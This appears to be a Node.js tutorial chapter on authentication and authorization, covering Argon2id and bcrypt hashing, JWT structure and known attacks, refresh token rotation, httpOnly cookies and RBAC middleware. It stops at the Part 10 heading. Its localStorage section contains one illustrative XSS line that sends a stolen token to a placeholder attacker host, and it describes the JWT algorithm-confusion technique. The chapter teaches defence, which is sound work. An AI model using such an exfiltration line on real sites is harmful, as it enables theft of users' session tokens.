Explorer
Node.js

Chapter 13: Authentication & Authorization: JWTs, Refresh Tokens, httpOnly Cookies, and RBAC

Chapter 13: Authentication & Authorization: JWTs, Refresh Tokens, httpOnly Cookies, and RBAC


Why This Chapter Matters

In the previous chapters, we mastered HTTP semantics, REST API conventions, and explored both major database paradigms: MongoDB for document data and PostgreSQL with Drizzle ORM for relational models. Now that we know how to model schemas, enforce constraints, and execute queries across both databases, we are ready to build the security architecture that protects every user account and API endpoint: Authentication & Authorization.

When operating production systems at scale, we must assume a Zero-Trust environment:

  • The network perimeter is permeable.
  • Clients (browsers, mobile apps, third-party integrations) are potentially compromised.
  • Every incoming request must cryptographically prove its identity and be explicitly authorized to access or mutate resources.

Flaws in authentication and authorization are among the most catastrophic failures in software engineering. They lead directly to account takeovers, unauthorized data exfiltration, horizontal privilege escalation (Insecure Direct Object References - IDOR), and severe regulatory penalties.

In this chapter, you will master enterprise-grade security engineering from mathematical fundamentals through production deployment:

  • Authentication (AuthN) vs. Authorization (AuthZ): The critical architectural boundary between identity verification and policy decision points.
  • Cryptographic Password Hashing & Key Derivation Functions (KDFs): Why fast hashes (SHA-256) are dangerous for passwords, the mathematics of memory-hard hashing (Argon2id), benchmarked cost factors, and the bcrypt 72-byte truncation limit.
  • The Stateless vs. Stateful Debate: The "stateless illusion" of JWTs, comparing stateful Redis sessions with stateless claims, and the industry-standard Dual-Token Architecture.
  • Anatomy of a JSON Web Token (RFC 7519 & RFC 8725 BCP): Header, payload, signature, registered claims (iss, sub, aud, exp, jti), and mitigating critical CVEs (such as algorithm confusion and alg: "none").
  • Asymmetric Signing & Microservices Key Distribution (RS256, ES256, JWKS): Why symmetric secrets (HS256) fail across microservices, using asymmetric keypairs, and zero-downtime key rotation via JSON Web Key Sets (JWKS).
  • Refresh Token Rotation (RTR) & Automatic Theft Detection: Modeling token families in MongoDB and PostgreSQL, hashing tokens at rest, handling mobile network grace periods, and executing instant family revocation upon token reuse.
  • Defense in Depth for Token Storage: Browser execution threats (XSS vs. CSRF), why localStorage is insecure, configuring hardened httpOnly, Secure, SameSite cookies, and path-scoping to /api/v1/auth/refresh.
  • Distributed Token Revocation: Solving the stateless revocation dilemma via short access token TTLs, user token versioning, and distributed Redis edge deny-lists.
  • Access Control Paradigms: Implementing Hierarchical Role-Based Access Control (RBAC), fine-grained Permission-Based Access Control, and Attribute-Based Access Control (ABAC) for resource ownership.
  • Authentication Hardening: Brute-force rate limiting, preventing account enumeration with uniform error handling, and Multi-Factor Authentication (MFA/TOTP RFC 6238).

Part 1: Deconstructing Authentication (AuthN) and Authorization (AuthZ)

A fundamental architectural error is conflating Identity Verification with Access Control. They operate at completely different layers of the application lifecycle and have distinct caching, revocation, and latency characteristics:

TEXT
┌────────────────────────────────────────────────────────┐
│                   INCOMING HTTP REQUEST                │
│            Header: Authorization: Bearer <token>       │
└───────────────────────────┬────────────────────────────┘
                            │
                            ▼
              ┌───────────────────────────┐
              │    AUTHENTICATION (AuthN) │  <-- Identity Verification Layer
              │   "Who is making this     │      Verifies cryptographic signatures
              │         request?"         │      Resolves to a Principal (User #42)
              └─────────────┬─────────────┘
                            │
         ┌──────────────────┴──────────────────┐
         │                                     │
         ▼ (Signature Invalid / Expired)       ▼ (Principal Established: User #42, Role: 'editor')
  401 Unauthorized                             │
  "Missing or malformed credentials"           ▼
                                ┌───────────────────────────┐
                                │   AUTHORIZATION (AuthZ)   │ <-- Policy Decision Point (PDP)
                                │   "Is this user allowed   │     Evaluates permissions, roles,
                                │    to perform this action │     and resource ownership
                                │      on this resource?"   │
                                └─────────────┬─────────────┘
                                              │
                           ┌──────────────────┴──────────────────┐
                           │                                     │
                           ▼ (Policy Denies Access)              ▼ (Policy Permits Access)
                    403 Forbidden                         Execute Business Domain Logic
                    "Insufficient privileges"             (e.g., Update Document)

The Architectural Boundary: 401 vs. 403

Concept Authentication (AuthN) Authorization (AuthZ)
Question "Who are you?" "What are you allowed to do?"
HTTP Status Code 401 Unauthorized (Literally means Unauthenticated) 403 Forbidden
Header Semantics Requests new credentials (e.g. WWW-Authenticate) Credentials accepted, but caller lacks permissions
Execution Point Early API Gateway / Global Middleware Route-level middleware or Domain Service layer
Real-World Analogy Passport / Government ID: Proves your name and citizenship. Boarding Pass / Security Clearance: Grants access to flight 204 or VIP Lounge.

[!IMPORTANT] HTTP Specification Historical Quirk: HTTP status code 401 is named Unauthorized, but according to RFC 7235 §3.1, it strictly means Unauthenticated (missing or invalid credentials). When identity is verified but permission is denied, the server MUST return 403 Forbidden (RFC 7231 §6.5.3).


Part 2: Cryptographic Password Hashing & Key Derivation Functions (KDFs)

When storing user passwords, plain text is unacceptable. However, hashing passwords with standard cryptographic hash functions like MD5, SHA-1, or SHA-256 is equally catastrophic in production.

Why Fast Hash Functions Fail for Passwords

Cryptographic hash functions like SHA-256 were designed for digital signatures and data integrity. They are engineered to be as fast as possible:

  • Modern consumer GPUs (e.g., NVIDIA RTX 4090) can compute over 25 billion SHA-256 hashes per second.
  • Custom ASIC cracking rigs can compute trillions of SHA-256 hashes per second.
  • If an attacker obtains a database dump containing SHA-256 password hashes, an 8-character password can be brute-forced or matched against rainbow tables in less than a few seconds.
TEXT
PASSWORD ATTACK SPECTRUM:
SHA-256 (Fast, CPU-Only):
  [Attacker GPU] ──────► 25,000,000,000 hashes/sec ──────► Brute-forced in seconds! ❌

ARGON2id / BCRYPT (Memory-Hard / CPU-Hard KDF):
  [Attacker GPU] ──────► Starved of RAM & Forced to Loop ──► Decades to crack! ✅

Key Derivation Functions (KDFs): Salting and Work Factors

To protect passwords against offline attacks, production backends use Key Derivation Functions (KDFs) that enforce two mandatory security properties:

  1. Cryptographic Salting:
    • A Cryptographically Secure Pseudo-Random Number Generator (CSPRNG, such as crypto.randomBytes(16)) generates a unique, random string (salt) for every password.
    • The salt is appended to the password before hashing.
    • Result: Two users with the identical password "P@ssword123" will produce completely different hashes. This mathematically renders precomputed Rainbow Tables completely useless.
  2. Work Factors (Key Stretching):
    • The algorithm forces thousands of computation rounds, intentionally slowing down execution to take 200 to 300 milliseconds per hash.
    • A 250ms delay is imperceptible to a human user logging in once, but it cripples an attacker attempting billions of guesses (reducing cracking throughput from 25,000,000,000 guesses/sec down to 4 guesses/sec per core!).

The Three Modern KDF Algorithms

TEXT
┌──────────────┬──────────────────┬────────────────────────────────────────────────────────┐
│  Algorithm   │ Primary Defense  │ OWASP 2024-2026 Production Recommendation               │
├──────────────┼──────────────────┼────────────────────────────────────────────────────────┤
│ **Argon2id** │ Memory-Hard &    │ **Top Primary Choice for all new backends.**          │
│              │ CPU-Hard         │ Resists GPU cracking and side-channel timing attacks.  │
├──────────────┼──────────────────┼────────────────────────────────────────────────────────┤
│ **bcrypt**   │ CPU-Hard         │ **Solid Secondary Choice.**                            │
│              │ (Blowfish-based) │ Work factor >= 12. Must handle 72-byte input limit.    │
├──────────────┼──────────────────┼────────────────────────────────────────────────────────┤
│ **PBKDF2**   │ CPU-Hard         │ **Use only when FIPS-140 compliance is mandatory.**    │
│              │ (SHA-256 based)  │ Minimum 600,000 iterations for HMAC-SHA-256.           │
└──────────────┴──────────────────┴────────────────────────────────────────────────────────┘

1. Argon2id: The Gold Standard (Winner of the Password Hashing Competition)

Argon2 was selected as the winner of the international Password Hashing Competition. It exists in three variants:

  • Argon2d: Data-dependent memory access. Highly resistant to GPU/ASIC cracking, but vulnerable to side-channel cache-timing attacks.
  • Argon2i: Data-independent memory access. Highly resistant to cache-timing attacks, but less resistant to GPU memory-tradeoff attacks.
  • Argon2id (Hybrid): Passes the first half of memory passes through Argon2i to defend against side channels, and the remaining passes through Argon2d to defeat GPU/ASIC cracking.

OWASP Recommended Configuration for Argon2id:

  • Memory (m): 19 MiB (19456 KiB)
  • Iterations (t): 2
  • Degree of Parallelism (p): 1

Production Node.js Implementation with argon2:

TYPESCRIPT
import argon2 from 'argon2';

export async function hashPassword(plainTextPassword: string): Promise<string> {
  return await argon2.hash(plainTextPassword, {
    type: argon2.argon2id,
    memoryCost: 19456, // 19 MiB of RAM
    timeCost: 2,       // 2 iterations
    parallelism: 1,    // 1 thread
  });
}

export async function verifyPassword(plainTextPassword: string, hash: string): Promise<boolean> {
  try {
    return await argon2.verify(hash, plainTextPassword);
  } catch (error) {
    return false;
  }
}

2. bcrypt and the 72-Byte Truncation Limit

bcrypt remains widely used. However, production systems must account for a critical architectural constraint:

[!WARNING] The bcrypt 72-Byte Truncation Vulnerability: bcrypt is built on the Blowfish cipher's key schedule, which has a maximum key length of 72 bytes. If a user enters a password of 100 characters, bcrypt silently truncates everything after byte 72! Furthermore, in UTF-8, multi-byte characters (such as emojis or accented characters) consume up to 4 bytes each. A password of just 18 emojis will exceed 72 bytes and be truncated.

The Production Fix (Pre-hashing): If using bcrypt, hash long passwords with a fast, deterministic hash (such as SHA-256 in hex format, which outputs a consistent 64-character string) before passing to bcrypt:

TYPESCRIPT
import crypto from 'node:crypto';
import bcrypt from 'bcrypt';

function safeBcryptHash(password: string): Promise<string> {
  // Normalizes password to exactly 64 characters, eliminating the 72-byte truncation bug!
  const preHashed = crypto.createHash('sha256').update(password).digest('hex');
  return bcrypt.hash(preHashed, 12);
}

Constant-Time Verification to Neutralize Timing Attacks

In JavaScript, standard string equality (===) evaluates byte-by-byte and short-circuits immediately upon finding the first mismatched character.

If an attacker measures the server's response latency down to microsecond resolution over thousands of requests, they can deduce how many leading characters of a secret or signature match.

To prevent timing side-channels, cryptographic tokens must be compared using constant-time algorithms:

TYPESCRIPT
import crypto from 'node:crypto';

export function constantTimeCompare(a: string, b: string): boolean {
  const bufA = Buffer.from(a, 'utf8');
  const bufB = Buffer.from(b, 'utf8');

  // Prevent length leak while executing constant-time comparison
  if (bufA.length !== bufB.length) {
    // Run dummy comparison to maintain uniform execution timing
    crypto.timingSafeEqual(bufA, bufA);
    return false;
  }

  return crypto.timingSafeEqual(bufA, bufB);
}

Part 3: The Stateless vs. Stateful Architecture Debate

When designing an authentication system, teams must choose between Stateful Sessions and Stateless Tokens (JWTs).

TEXT
STATEFUL SESSIONS (Session ID in Cookie):
Client ──► [API Server] ──► Query Redis / DB (Session #abc123) ──► Valid User
• Pro: Instant revocation ($O(1)$ delete in Redis).
• Pro: Tiny cookie footprint (32-byte opaque string).
• Con: Every HTTP request incurs network I/O to Redis or PostgreSQL.

STATELESS JWTs (Claims signed by Private Key):
Client ──► [API Server] ──► Cryptographic Signature Verification (CPU) ──► Valid User
• Pro: Zero database lookups across distributed microservices.
• Pro: Highly scalable horizontal read traffic.
• Con: Cannot revoke an active token before expiration without re-introducing state!
• Con: Larger payload size (~500B to 1KB) sent on every single HTTP request header.

The "Stateless Illusion"

Stateless JWTs are often promoted as a silver bullet for eliminating database lookups. However, in production systems, pure statelessness is an illusion:

  1. What happens when a user changes their password?
  2. What happens when a user's permissions are revoked by an admin?
  3. What happens when a user clicks "Logout from all devices"?

In all three scenarios, a purely stateless JWT continues to be accepted by every service until its exp timestamp elapses! To revoke access immediately, backends are forced to introduce a centralized state store (such as a Redis deny-list or database version check), defeating pure statelessness.


The Industry-Standard Solution: The Dual-Token Architecture

Production backends reconcile this trade-off using a Dual-Token System:

TEXT
┌───────────────────────────────┬───────────────────────────────┐
│        ACCESS TOKEN           │        REFRESH TOKEN          │
├───────────────────────────────┼───────────────────────────────┤
│ • **Lifespan:** Short (5–15m) │ • **Lifespan:** Long (7–30d)  │
│ • **Storage:** In-Memory      │ • **Storage:** httpOnly Cookie│
│ • **Verification:** Stateless │ • **Verification:** Stateful  │
│   (Zero DB I/O, fast CPU check)│   (Queried against Database)  │
│ • **Purpose:** API calls      │ • **Purpose:** Renewing Access│
└───────────────────────────────┴───────────────────────────────┘
  1. High Performance for 99% of Requests: The user performs dozens of API requests using the short-lived Access Token. Microservices verify it instantly using CPU math with zero database load.
  2. Strict Security Enforcement Every 10 Minutes: When the Access Token expires, the client makes a single stateful request to the /refresh endpoint. The server inspects the database, verifies user status and token validity, rotates the tokens, and issues a fresh Access Token.

Part 4: Anatomy of a JSON Web Token (RFC 7519 & RFC 8725 BCP)

A JSON Web Token (JWT) is an open standard (RFC 7519) for representing claims securely between two parties. It is a compact, URL-safe, digitally signed string consisting of three parts separated by dots (.):

TEXT
JWT = Base64Url(Header) + "." + Base64Url(Payload) + "." + Signature
TEXT
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgta2V5LXYxIn0.
eyJzdWIiOiIxMjM0NTYiLCJlbWFpbCI6ImRhbkBjb21wYW55LmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTczMDAwMDAwMCwiZXhwIjoxNzMwMDAwOTAwfQ.
PzB5f5_7K_9...[Cryptographic Signature]

1. The Header: Algorithm & Key Metadata

JSON
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "auth-key-2026-v1"
}
  • alg: The cryptographic algorithm used to generate the signature (RS256, ES256, HS256).
  • typ: The token type (RFC 8725 recommends explicit typing to prevent cross-token confusion).
  • kid: Key ID indicating which public key in a JWKS set verifies this specific token.

2. The Payload: Claims (RFC 7519 §4.1)

The payload contains the claims—statements about an entity (typically the user) and metadata.

Standard Registered Claims:

  • iss (Issuer): URL of the authorization server minting the token (https://auth.company.com).
  • sub (Subject): The unique, immutable identifier of the user (e.g. uuid).
  • aud (Audience): The intended recipient API of the token (https://api.company.com).
  • exp (Expiration Time): UNIX timestamp after which the token is invalid.
  • nbf (Not Before): UNIX timestamp before which the token must not be accepted.
  • iat (Issued At): UNIX timestamp when the token was created.
  • jti (JWT ID): Unique UUID for this specific token (essential for distributed deny-lists).

Custom Application Claims:

  • role: User's access tier (admin, editor, user).
  • tenant_id: Multi-tenant organization identifier.

[!WARNING] Payloads Are NOT Encrypted: Base64URL encoding is not encryption! Any client, proxy, or attacker can decode the payload string in milliseconds using atob(). Never store passwords, credit card numbers, or sensitive Personal Identifiable Information (PII) inside a JWT payload.


3. The Signature: Cryptographic Integrity Proof

The signature is computed over the Base64URL-encoded header and payload:

TEXT
Signature = Sign(PrivateKey, Base64Url(Header) + "." + Base64Url(Payload))

If an attacker modifies even a single character in the payload (e.g., changing "role": "user" to "role": "admin"), the mathematical signature check will fail instantly when decrypted with the public key.


RFC 8725: JWT Best Current Practices (BCP) & Common Vulnerabilities

Published in 2020, RFC 8725 establishes mandatory security rules to defend against historical exploits:

  1. Reject alg: "none": Early flawed JWT libraries permitted tokens signed with "alg": "none", allowing attackers to strip the signature entirely and forge arbitrary admin tokens. Modern libraries strictly forbid "none" unless explicitly enabled.
  2. Algorithm Confusion Attacks (CVE-2015-9235):
    • An API uses asymmetric RS256 (Private Key signs, Public Key verifies).
    • The attacker takes the server's public key (which is public!), alters the token header to symmetric HS256, and signs the token using the server's public key as the HMAC secret!
    • Flawed verification code calling jwt.verify(token, key) sees algorithm HS256, uses the public key string as the HMAC shared secret, and accepts the forged token!
    • The Defense: Always explicitly specify allowed algorithms in verification options:
      TYPESCRIPT
      jwt.verify(token, publicKey, { algorithms: ['RS256'] }); // Rejects HS256 immediately!
      
  3. Clock Skew (Leeway): Servers in distributed clusters can have slight clock drift (a few seconds). Verification functions should configure a small clock leeway (e.g. 30 seconds) to prevent legitimate tokens from failing immediately upon issuance:
    TYPESCRIPT
    jwt.verify(token, publicKey, { clockTolerance: 30 });
    

Part 5: Asymmetric Cryptography & Microservices Key Distribution (RS256, ES256, JWKS)

In monolithic architectures, symmetric signing (HS256) is common because a single server mints and verifies tokens using a shared secret string (JWT_SECRET).

In distributed microservices, symmetric signing is a critical architectural anti-pattern:

  • If Service A (Auth Service), Service B (Orders), and Service C (Billing) all use HS256, all three services must possess the secret.
  • If an attacker compromises Service C, they acquire the secret and can now mint valid admin tokens for Service A and Service B!
TEXT
ASYMMETRIC SIGNING ARCHITECTURE:
                  ┌──────────────────────────────┐
                  │    AUTH SERVICE (IdP)        │
                  │  Holds PRIVATE KEY (Secret)  │
                  └──────────────┬───────────────┘
                                 │ Mints Tokens (Signed with Private Key)
                                 ▼
                     CLIENT (Browser / App)
                                 │
             ┌───────────────────┴───────────────────┐
             │ Authorization: Bearer <token>         │ Authorization: Bearer <token>
             ▼                                       ▼
┌──────────────────────────────┐       ┌──────────────────────────────┐
│       ORDERS SERVICE         │       │       BILLING SERVICE        │
│    Holds PUBLIC KEY ONLY     │       │    Holds PUBLIC KEY ONLY     │
│   (Can Verify, Cannot Mint)  │       │   (Can Verify, Cannot Mint)  │
└──────────────────────────────┘       └──────────────────────────────┘

JSON Web Key Sets (JWKS) and Zero-Downtime Key Rotation

How do downstream microservices acquire the latest public key without hardcoding PEM files in environment variables?

The answer is JWKS (RFC 7517):

  1. The Auth Service exposes a public endpoint: https://auth.company.com/.well-known/jwks.json.
  2. The endpoint serves an array of public keys formatted as JSON Web Keys (JWKs):
JSON
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "key-2026-v1",
      "n": "u1b9...[Modulus]",
      "e": "AQAB"
    },
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "kid": "key-2026-v2",
      "n": "v8k2...[Modulus]",
      "e": "AQAB"
    }
  ]
}
  1. When a token arrives at the Orders service, the service reads the kid ("key-2026-v2") from the token's unverified header.
  2. The service fetches (or retrieves from local RAM cache) the matching public key from the JWKS endpoint and verifies the signature.

Zero-Downtime Key Rotation Workflow:

  1. Week 1: Generate Key V2. Add Key V2 to the JWKS endpoint alongside Key V1. The Auth Service continues signing new tokens with Key V1.
  2. Week 2 (Switch): Auth Service begins signing all new tokens with Key V2 (kid: "key-2026-v2"). Downstream services fetch Key V2 seamlessly. Tokens previously minted with Key V1 remain valid until their expiration.
  3. Week 3 (Retire): Once all active tokens signed with Key V1 have expired, remove Key V1 from the JWKS endpoint.

Part 6: Refresh Token Rotation (RTR) & Automatic Theft Detection

An access token must be short-lived. But asking a user to type their username and password every 10 minutes creates unacceptable user experience.

The solution is Refresh Token Rotation (RTR) with Token Families:

  • Every time a Refresh Token is used to obtain a new Access Token, that Refresh Token is immediately invalidated, and a brand new Refresh Token is issued.
  • The client receives a fresh pair: (AccessToken_2, RefreshToken_2).

The Theft Detection Mechanism

What happens if an attacker steals a Refresh Token from a user's network traffic or device?

TEXT
NORMAL ROTATION CHAIN:
[Token Family: fam_999]
RT_1 (Used & Revoked) ──► RT_2 (Used & Revoked) ──► RT_3 (Active)

ATTACK SCENARIO (Token Reuse Detected):
1. Attacker intercepts RT_1 and uses it before the legitimate user.
   • Server issues RT_2_attacker to attacker. RT_1 is marked 'revoked'.
2. Legitimate user's browser later attempts to refresh using RT_1.
3. SERVER DETECTS REUSE OF REVOKED TOKEN (RT_1)!
   • Server recognizes a breach event.
   • SERVER IMMEDIATELY REVOKES THE ENTIRE TOKEN FAMILY (fam_999)!
   • Both the legitimate user and the attacker are immediately logged out.
   • Security notification email sent to user: "Suspicious login detected."

Refresh Token Schemas Across Both Paradigms

Never store raw refresh tokens in plaintext in your database. If a database backup is leaked, attackers could mint access tokens for every user. Always store the SHA-256 hash of the refresh token.

1. MongoDB / Mongoose Schema (models/RefreshToken.ts)

TYPESCRIPT
import mongoose, { Schema, Document } from 'mongoose';

export interface IRefreshToken extends Document {
  userId: mongoose.Types.ObjectId;
  tokenHash: string;
  familyId: string;
  isRevoked: boolean;
  expiresAt: Date;
  createdAt: Date;
}

const RefreshTokenSchema = new Schema<IRefreshToken>(
  {
    userId: { type: Schema.Types.ObjectId, ref: 'User', required: true, index: true },
    tokenHash: { type: String, required: true, index: true },
    familyId: { type: String, required: true, index: true },
    isRevoked: { type: Boolean, required: true, default: false },
    expiresAt: { type: Date, required: true },
  },
  { timestamps: true }
);

// MongoDB TTL index: Automatically purges expired session records from disk!
RefreshTokenSchema.index({ expiresAt: 1 }, { expireAfterSeconds: 0 });

export const RefreshTokenModel = mongoose.model<IRefreshToken>('RefreshToken', RefreshTokenSchema);

2. PostgreSQL / Drizzle ORM Schema (db/schema/auth.ts)

TYPESCRIPT
import { pgTable, uuid, text, boolean, timestamp, index } from 'drizzle-orm/pg-core';
import { users } from './users';

export const refreshTokens = pgTable(
  'refresh_tokens',
  {
    id: uuid('id').primaryKey().defaultRandom(),
    userId: uuid('user_id')
      .notNull()
      .references(() => users.id, { onDelete: 'cascade' }),
    tokenHash: text('token_hash').notNull(),
    familyId: uuid('family_id').notNull(),
    isRevoked: boolean('is_revoked').notNull().default(false),
    expiresAt: timestamp('expires_at', { withTimezone: true }).notNull(),
    createdAt: timestamp('created_at', { withTimezone: true }).defaultNow().notNull(),
  },
  (table) => [
    index('refresh_tokens_user_id_idx').on(table.userId),
    index('refresh_tokens_family_id_idx').on(table.familyId),
    index('refresh_tokens_token_hash_idx').on(table.tokenHash),
  ]
);

Handling Mobile Network Grace Periods

In mobile apps and spotty network connections, a client might send a refresh request, experience a connection drop right before receiving the response, and retry the request 2 seconds later.

Without a Grace Period, the server would see the retry as a token reuse attack and lock the legitimate user out!

The Production Fix: Allow a short grace window (e.g. 15 to 30 seconds) where presenting the recently-revoked token returns the already-issued replacement token rather than triggering family-wide revocation.


Where should tokens live on the client? The browser is a fundamentally hostile execution environment.

TEXT
┌────────────────────────────┬─────────────────────────────┬─────────────────────────────┐
│      Storage Location      │ Vulnerable to XSS?          │ Vulnerable to CSRF?         │
├────────────────────────────┼─────────────────────────────┼─────────────────────────────┤
│ **localStorage / Session** │ **YES (Catastrophic)**      │ No                          │
│                            │ Any script can steal tokens │                             │
├────────────────────────────┼─────────────────────────────┼─────────────────────────────┤
│ **Standard JS Cookie**     │ **YES** (document.cookie)   │ **YES**                     │
├────────────────────────────┼─────────────────────────────┼─────────────────────────────┤
│ **httpOnly Cookie**        │ **NO** (Hidden from JS)     │ **YES** (Needs SameSite /   │
│                            │                             │ Anti-CSRF protection)       │
└────────────────────────────┴─────────────────────────────┴─────────────────────────────┘

The Inherent Insecurity of localStorage

If you store JWTs in localStorage:

JAVASCRIPT
// Attacker injects malicious script via an npm package or unsanitized comment input:
const token = localStorage.getItem('accessToken');
fetch('https://attacker-c2.com/steal?token=' + encodeURIComponent(token));

Any Cross-Site Scripting (XSS) vulnerability on your domain grants the attacker total, silent exfiltration of the token.


Hardening Cookies with Security Flags

Refresh tokens must be set via Set-Cookie with comprehensive security attributes:

TYPESCRIPT
import { Response } from 'express';

export function setRefreshTokenCookie(res: Response, rawToken: string) {
  res.cookie('refreshToken', rawToken, {
    httpOnly: true,                               // 🛡️ Completely hides cookie from document.cookie
    secure: process.env.NODE_ENV === 'production', // 🔒 Transmitted exclusively over HTTPS
    sameSite: 'lax',                              // 🛡️ Defends against cross-site CSRF requests
    path: '/api/v1/auth/refresh',                 // 🎯 ONLY sent to the refresh endpoint!
    maxAge: 7 * 24 * 60 * 60 * 1000,              // 7 days in milliseconds
  });
}

Why Scoping Cookie Path Matters

By setting path: '/api/v1/auth/refresh', the browser will only attach this cookie when making HTTP requests to /api/v1/auth/refresh.

When the browser requests /api/v1/orders or /api/v1/products, the refresh cookie is not attached. This reduces your attack surface and saves bandwidth on every request.


Understanding SameSite: Strict vs. Lax vs. None

  • SameSite=Strict: The cookie is never sent in cross-site requests, even when following an external link into your site. If a user clicks a link to your store from Google Search, they will appear logged out on the initial landing page.
  • SameSite=Lax (Recommended Default): The cookie is withheld on cross-site subrequests (images, fetch, POST), but is permitted on top-level safe GET navigations (e.g. clicking a link to your site from an external email or search engine).
  • SameSite=None: The cookie is sent on all cross-site requests. Mandates the Secure flag. Used only for embedded third-party widgets and iframes.

Part 8: Complete Production Middleware Implementation

Let's build a complete, production-grade authentication and authorization pipeline using TypeScript and Express.

1. Token Utility Module (utils/token.ts)

TYPESCRIPT
import jwt from 'jsonwebtoken';
import crypto from 'node:crypto';
import { ApiError } from '../errors/api-error.js';

const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET!;
const ACCESS_TOKEN_EXPIRES_IN = '15m';

export interface TokenPayload {
  sub: string;         // User ID
  email: string;
  role: string;
  tokenVersion: number;
}

export function signAccessToken(payload: TokenPayload): string {
  return jwt.sign(payload, ACCESS_TOKEN_SECRET, {
    algorithm: 'HS256',
    expiresIn: ACCESS_TOKEN_EXPIRES_IN,
    issuer: 'https://api.consistcode.com',
    audience: 'https://consistcode.com',
  });
}

export function verifyAccessToken(token: string): TokenPayload {
  try {
    return jwt.verify(token, ACCESS_TOKEN_SECRET, {
      algorithms: ['HS256'],
      issuer: 'https://api.consistcode.com',
      audience: 'https://consistcode.com',
      clockTolerance: 30, // 30 seconds leeway for clock skew
    }) as TokenPayload;
  } catch (err: any) {
    if (err.name === 'TokenExpiredError') {
      throw ApiError.unauthorized('Access token expired');
    }
    throw ApiError.unauthorized('Invalid access token');
  }
}

// Generate cryptographically secure random token and its SHA-256 hash
export function generateOpaqueRefreshToken(): { rawToken: string; tokenHash: string } {
  const rawToken = crypto.randomBytes(40).toString('hex');
  const tokenHash = crypto.createHash('sha256').update(rawToken).digest('hex');
  return { rawToken, tokenHash };
}

2. The Authentication Middleware (protect)

This middleware acts as the Policy Enforcement Point (PEP) for identity:

TYPESCRIPT
import { Request, Response, NextFunction } from 'express';
import { ApiError } from '../errors/api-error.js';
import { verifyAccessToken, TokenPayload } from '../utils/token.js';

// Extend Express Request interface with authenticated principal
declare global {
  namespace Express {
    interface Request {
      user?: TokenPayload;
    }
  }
}

export const protect = (req: Request, res: Response, next: NextFunction) => {
  try {
    const authHeader = req.headers.authorization;
    if (!authHeader?.startsWith('Bearer ')) {
      throw ApiError.unauthorized('Missing or malformed Authorization header');
    }

    const token = authHeader.split(' ')[1];
    if (!token) {
      throw ApiError.unauthorized('Token missing from Bearer header');
    }

    // Cryptographic signature check — ZERO database I/O!
    const decoded = verifyAccessToken(token);

    // Attach principal to request context
    req.user = decoded;
    next();
  } catch (error) {
    next(error);
  }
};

3. Hierarchical RBAC & Permission Middleware (authorize)

In production, hardcoding if (user.role === 'admin') across your codebase makes role changes nightmare to maintain. Instead, decouple endpoints using Permissions:

TYPESCRIPT
import { Request, Response, NextFunction } from 'express';
import { ApiError } from '../errors/api-error.js';

// Define granular system permissions
export type Permission = 
  | 'articles:read' 
  | 'articles:create' 
  | 'articles:update' 
  | 'articles:delete' 
  | 'users:manage';

// Role-to-Permissions Mapping (Hierarchical)
const ROLE_PERMISSIONS: Record<string, Permission[]> = {
  viewer: ['articles:read'],
  editor: ['articles:read', 'articles:create', 'articles:update'],
  admin: ['articles:read', 'articles:create', 'articles:update', 'articles:delete', 'users:manage'],
};

export const requirePermission = (...requiredPermissions: Permission[]) => {
  return (req: Request, res: Response, next: NextFunction) => {
    if (!req.user) {
      return next(ApiError.internal('Authorization evaluated before Identity verification'));
    }

    const userPermissions = ROLE_PERMISSIONS[req.user.role] || [];
    
    // Check if user has ALL required permissions
    const hasPermission = requiredPermissions.every((perm) => userPermissions.includes(perm));

    if (!hasPermission) {
      // 403 Forbidden: Identity verified, but access denied by policy
      return next(ApiError.forbidden('Insufficient permissions to access this resource'));
    }

    next();
  };
};

4. Attribute-Based Access Control (ABAC): Resource Ownership Guard

What if an editor has permission to edit articles, but should only be allowed to edit their own articles?

Role-Based Access Control cannot solve this alone; you must evaluate Attributes (Ownership):

TYPESCRIPT
import { Request, Response, NextFunction } from 'express';
import { ApiError } from '../errors/api-error.js';

export const requireOwnership = (
  getResourceOwnerId: (req: Request) => Promise<string | null>
) => {
  return async (req: Request, res: Response, next: NextFunction) => {
    try {
      if (!req.user) {
        return next(ApiError.internal('Ownership evaluated before Identity verification'));
      }

      // Admins bypass ownership checks
      if (req.user.role === 'admin') {
        return next();
      }

      const ownerId = await getResourceOwnerId(req);
      if (!ownerId) {
        return next(ApiError.notFound('Resource not found'));
      }

      if (ownerId !== req.user.sub) {
        return next(ApiError.forbidden('You do not own this resource'));
      }

      next();
    } catch (error) {
      next(error);
    }
  };
};

Usage in Routes:

TYPESCRIPT
router.put(
  '/articles/:id',
  protect,                                           // 1. Verify Identity (401)
  requirePermission('articles:update'),              // 2. Verify Role/Permission (403)
  requireOwnership(async (req) => {                  // 3. Verify Resource Ownership (403)
    const article = await articleService.findById(req.params.id);
    return article?.authorId ?? null;
  }),
  updateArticleController
);

Part 9: Distributed Token Revocation & Edge Deny-Lists

How do you invalidate a 15-minute access token immediately if an employee is terminated or reports their laptop stolen?

Strategy 1: User Token Versioning (Database-Backed)

Store a tokenVersion: integer column on your users table:

  1. Embed "tokenVersion": 1 in the JWT payload.
  2. When the user changes their password or logs out of all devices, increment the version in the database:
    SQL
    UPDATE users SET token_version = token_version + 1 WHERE id = $1;
    
  3. During the Refresh Flow, the server compares the token's version against the database version. If they mismatch, the refresh is rejected.
  4. The Caveat: The current active 15-minute access token remains valid until it expires.

Strategy 2: Distributed Redis Deny-List with Self-Expiring Keys

If instant, second-by-second revocation of access tokens is required:

  1. Every access token includes a unique jti (JWT ID UUID) claim:
    JSON
    { "jti": "d4e2b028-1b20-4e4b-b0b3-f0270a6c2380", "exp": 1730000900 }
    
  2. When a token is revoked, write its jti to a distributed Redis cluster using SETEX with a TTL equal to the token's remaining lifespan:
    TYPESCRIPT
    import Redis from 'ioredis';
    const redis = new Redis(process.env.REDIS_URL!);
    
    export async function revokeAccessToken(jti: string, remainingSeconds: number) {
      if (remainingSeconds > 0) {
        await redis.setex(`deny:${jti}`, remainingSeconds, 'revoked');
      }
    }
    
    export async function isTokenRevoked(jti: string): Promise<boolean> {
      const exists = await redis.exists(`deny:${jti}`);
      return exists === 1;
    }
    
  3. Once the token's original expiration timestamp arrives, Redis automatically deletes the key from memory. The deny-list never grows indefinitely!

Part 10: Authentication Hardening: Rate Limiting & Account Enumeration

